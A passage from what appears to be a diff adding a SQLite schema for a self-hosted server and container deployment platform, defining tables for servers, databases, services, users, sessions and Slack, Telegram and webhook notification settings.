NOT NULL, + "frequency" TEXT NOT NULL, + "container" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "application_id" INTEGER, + "service_id" INTEGER, + "team_id" INTEGER NOT NULL, + "timeout" INTEGER DEFAULT 300 NOT NULL +); + +CREATE TABLE IF NOT EXISTS "server_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "is_swarm_manager" INTEGER DEFAULT false NOT NULL, + "is_jump_server" INTEGER DEFAULT false NOT NULL, + "is_build_server" INTEGER DEFAULT false NOT NULL, + "is_reachable" INTEGER DEFAULT false NOT NULL, + "is_usable" INTEGER DEFAULT false NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "wildcard_domain" TEXT, + "is_cloudflare_tunnel" INTEGER DEFAULT false NOT NULL, + "is_logdrain_newrelic_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_newrelic_license_key" TEXT, + "logdrain_newrelic_base_uri" TEXT, + "is_logdrain_highlight_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_highlight_project_id" TEXT, + "is_logdrain_axiom_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_axiom_dataset_name" TEXT, + "logdrain_axiom_api_key" TEXT, + "is_swarm_worker" INTEGER DEFAULT false NOT NULL, + "is_logdrain_custom_enabled" INTEGER DEFAULT false NOT NULL, + "logdrain_custom_config" TEXT, + "logdrain_custom_config_parser" TEXT, + "concurrent_builds" INTEGER DEFAULT 2 NOT NULL, + "dynamic_timeout" INTEGER DEFAULT 3600 NOT NULL, + "force_disabled" INTEGER DEFAULT false NOT NULL, + "is_metrics_enabled" INTEGER DEFAULT false NOT NULL, + "generate_exact_labels" INTEGER DEFAULT false NOT NULL, + "force_docker_cleanup" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_frequency" TEXT DEFAULT '0 0 * * *' NOT NULL, + "docker_cleanup_threshold" INTEGER DEFAULT 80 NOT NULL, + "server_timezone" TEXT DEFAULT 'UTC' NOT NULL, + "delete_unused_volumes" INTEGER DEFAULT false NOT NULL, + "delete_unused_networks" INTEGER DEFAULT false NOT NULL, + "is_sentinel_enabled" INTEGER DEFAULT true NOT NULL, + "sentinel_token" TEXT, + "sentinel_metrics_refresh_rate_seconds" INTEGER DEFAULT 10 NOT NULL, + "sentinel_metrics_history_days" INTEGER DEFAULT 7 NOT NULL, + "sentinel_push_interval_seconds" INTEGER DEFAULT 60 NOT NULL, + "sentinel_custom_url" TEXT, + "server_disk_usage_notification_threshold" INTEGER DEFAULT 80 NOT NULL, + "is_sentinel_debug_enabled" INTEGER DEFAULT false NOT NULL, + "server_disk_usage_check_frequency" TEXT DEFAULT '0 23 * * *' NOT NULL, + "is_terminal_enabled" INTEGER DEFAULT true NOT NULL, + "deployment_queue_limit" INTEGER DEFAULT 25 NOT NULL, + "disable_application_image_retention" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "servers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "ip" TEXT NOT NULL, + "port" INTEGER DEFAULT 22 NOT NULL, + "user" TEXT DEFAULT 'root' NOT NULL, + "team_id" INTEGER NOT NULL, + "private_key_id" INTEGER NOT NULL, + "proxy" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "unreachable_notification_sent" INTEGER DEFAULT false NOT NULL, + "unreachable_count" INTEGER DEFAULT 0 NOT NULL, + "high_disk_usage_notification_sent" INTEGER DEFAULT false NOT NULL, + "log_drain_notification_sent" INTEGER DEFAULT false NOT NULL, + "swarm_cluster" INTEGER, + "validation_logs" TEXT, + "sentinel_updated_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "deleted_at" TEXT, + "ip_previous" TEXT, + "hetzner_server_id" INTEGER, + "cloud_provider_token_id" INTEGER, + "hetzner_server_status" TEXT, + "is_validating" INTEGER DEFAULT false NOT NULL, + "detected_traefik_version" TEXT, + "traefik_outdated_info" TEXT +); + +CREATE TABLE IF NOT EXISTS "service_applications" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "human_name" TEXT, + "description" TEXT, + "fqdn" TEXT, + "ports" TEXT, + "exposes" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "service_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "exclude_from_status" INTEGER DEFAULT false NOT NULL, + "required_fqdn" INTEGER DEFAULT false NOT NULL, + "image" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "is_migrated" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "service_databases" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "human_name" TEXT, + "description" TEXT, + "ports" TEXT, + "exposes" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "service_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "exclude_from_status" INTEGER DEFAULT false NOT NULL, + "image" TEXT, + "public_port" INTEGER, + "is_public" INTEGER DEFAULT false NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "is_migrated" INTEGER DEFAULT false NOT NULL, + "custom_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "services" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "environment_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "server_id" INTEGER, + "description" TEXT, + "docker_compose_raw" TEXT NOT NULL, + "docker_compose" TEXT, + "destination_type" TEXT, + "destination_id" INTEGER, + "deleted_at" TEXT, + "connect_to_docker_network" INTEGER DEFAULT false NOT NULL, + "config_hash" TEXT, + "service_type" TEXT, + "is_container_label_escape_enabled" INTEGER DEFAULT true NOT NULL, + "compose_parsing_version" TEXT DEFAULT '2' NOT NULL +); + +CREATE TABLE IF NOT EXISTS "sessions" ( + "id" TEXT NOT NULL, + "user_id" INTEGER, + "ip_address" TEXT, + "user_agent" TEXT, + "payload" TEXT NOT NULL, + "last_activity" INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS "shared_environment_variables" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "key" TEXT NOT NULL, + "value" TEXT NOT NULL, + "is_shown_once" INTEGER DEFAULT false NOT NULL, + "type" TEXT DEFAULT 'team' NOT NULL, + "team_id" INTEGER NOT NULL, + "project_id" INTEGER, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_multiline" INTEGER DEFAULT false NOT NULL, + "version" TEXT DEFAULT '4.0.0-beta.239' NOT NULL, + "is_literal" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "slack_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "slack_enabled" INTEGER DEFAULT false NOT NULL, + "slack_webhook_url" TEXT, + "deployment_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_slack_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_slack_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_slack_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_slack_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_slack_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_slack_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "ssl_certificates" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "ssl_certificate" TEXT NOT NULL, + "ssl_private_key" TEXT NOT NULL, + "configuration_dir" TEXT, + "mount_path" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "server_id" INTEGER NOT NULL, + "common_name" TEXT NOT NULL, + "subject_alternative_names" TEXT, + "valid_until" TEXT NOT NULL, + "is_ca_certificate" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_clickhouses" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "clickhouse_admin_user" TEXT DEFAULT 'default' NOT NULL, + "clickhouse_admin_password" TEXT NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'clickhouse/clickhouse-server:25.11' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "clickhouse_db" TEXT DEFAULT 'default' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_dockers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "uuid" TEXT NOT NULL, + "network" TEXT NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_dragonflies" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "dragonfly_password" TEXT NOT NULL, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'docker.dragonflydb.io/dragonflydb/dragonfly' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_keydbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "keydb_password" TEXT NOT NULL, + "keydb_conf" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'eqalpha/keydb:latest' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mariadbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mariadb_root_password" TEXT NOT NULL, + "mariadb_user" TEXT DEFAULT 'mariadb' NOT NULL, + "mariadb_password" TEXT NOT NULL, + "mariadb_database" TEXT DEFAULT 'default' NOT NULL, + "mariadb_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mariadb:11' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mongodbs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mongo_conf" TEXT, + "mongo_initdb_root_username" TEXT DEFAULT 'root' NOT NULL, + "mongo_initdb_root_password" TEXT NOT NULL, + "mongo_initdb_database" TEXT DEFAULT 'default' NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mongo:7' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'require' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_mysqls" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "mysql_root_password" TEXT NOT NULL, + "mysql_user" TEXT DEFAULT 'mysql' NOT NULL, + "mysql_password" TEXT NOT NULL, + "mysql_database" TEXT DEFAULT 'default' NOT NULL, + "mysql_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'mysql:8' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'REQUIRED' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_postgresqls" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "postgres_user" TEXT DEFAULT 'postgres' NOT NULL, + "postgres_password" TEXT NOT NULL, + "postgres_db" TEXT DEFAULT 'postgres' NOT NULL, + "postgres_initdb_args" TEXT, + "postgres_host_auth_method" TEXT, + "init_scripts" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'postgres:16-alpine' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "postgres_conf" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "ssl_mode" TEXT DEFAULT 'require' NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "standalone_redis" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "redis_conf" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "image" TEXT DEFAULT 'redis:7.2' NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "public_port" INTEGER, + "ports_mappings" TEXT, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "started_at" TEXT, + "destination_type" TEXT NOT NULL, + "destination_id" INTEGER NOT NULL, + "environment_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "deleted_at" TEXT, + "config_hash" TEXT, + "custom_docker_run_options" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "enable_ssl" INTEGER DEFAULT false NOT NULL, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "subscriptions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "stripe_invoice_paid" INTEGER DEFAULT false NOT NULL, + "stripe_subscription_id" TEXT, + "stripe_customer_id" TEXT, + "stripe_cancel_at_period_end" INTEGER DEFAULT false NOT NULL, + "stripe_plan_id" TEXT, + "stripe_feedback" TEXT, + "stripe_comment" TEXT, + "stripe_trial_already_ended" INTEGER DEFAULT false NOT NULL, + "stripe_past_due" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "swarm_dockers" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "uuid" TEXT NOT NULL, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "network" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "taggables" ( + "tag_id" INTEGER NOT NULL, + "taggable_id" INTEGER NOT NULL, + "taggable_type" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "tags" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "team_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "team_invitations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "team_id" INTEGER NOT NULL, + "email" TEXT NOT NULL, + "role" TEXT DEFAULT 'member' NOT NULL, + "link" TEXT NOT NULL, + "via" TEXT DEFAULT 'link' NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "team_user" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "user_id" INTEGER NOT NULL, + "role" TEXT DEFAULT 'member' NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "teams" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "description" TEXT, + "personal_team" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "show_boarding" INTEGER DEFAULT false NOT NULL, + "custom_server_limit" INTEGER +); + +CREATE TABLE IF NOT EXISTS "telegram_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "telegram_enabled" INTEGER DEFAULT false NOT NULL, + "telegram_token" TEXT, + "telegram_chat_id" TEXT, + "deployment_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_telegram_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "telegram_notifications_deployment_success_thread_id" TEXT, + "telegram_notifications_deployment_failure_thread_id" TEXT, + "telegram_notifications_status_change_thread_id" TEXT, + "telegram_notifications_backup_success_thread_id" TEXT, + "telegram_notifications_backup_failure_thread_id" TEXT, + "telegram_notifications_scheduled_task_success_thread_id" TEXT, + "telegram_notifications_scheduled_task_failure_thread_id" TEXT, + "telegram_notifications_docker_cleanup_success_thread_id" TEXT, + "telegram_notifications_docker_cleanup_failure_thread_id" TEXT, + "telegram_notifications_server_disk_usage_thread_id" TEXT, + "telegram_notifications_server_reachable_thread_id" TEXT, + "telegram_notifications_server_unreachable_thread_id" TEXT, + "server_patch_telegram_notifications" INTEGER DEFAULT true NOT NULL, + "telegram_notifications_server_patch_thread_id" TEXT, + "telegram_notifications_traefik_outdated_thread_id" TEXT, + "traefik_outdated_telegram_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "telescope_entries" ( + "sequence" INTEGER NOT NULL, + "uuid" TEXT NOT NULL, + "batch_id" TEXT NOT NULL, + "family_hash" TEXT, + "should_display_on_index" INTEGER DEFAULT true NOT NULL, + "type" TEXT NOT NULL, + "content" TEXT NOT NULL, + "created_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "telescope_entries_tags" ( + "entry_uuid" TEXT NOT NULL, + "tag" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "telescope_monitoring" ( + "tag" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "user_changelog_reads" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "user_id" INTEGER NOT NULL, + "release_tag" TEXT NOT NULL, + "read_at" TEXT NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "users" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT DEFAULT 'Anonymous' NOT NULL, + "email" TEXT NOT NULL, + "email_verified_at" TEXT, + "password" TEXT, + "remember_token" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "two_factor_secret" TEXT, + "two_factor_recovery_codes" TEXT, + "two_factor_confirmed_at" TEXT, + "force_password_reset" INTEGER DEFAULT false NOT NULL, + "marketing_emails" INTEGER DEFAULT true NOT NULL, + "pending_email" TEXT, + "email_change_code" TEXT, + "email_change_code_expires_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "webhook_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "webhook_enabled" INTEGER DEFAULT false NOT NULL, + "webhook_url" TEXT, + "deployment_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_webhook_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_webhook_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_webhook_notifications" INTEGER DEFAULT false 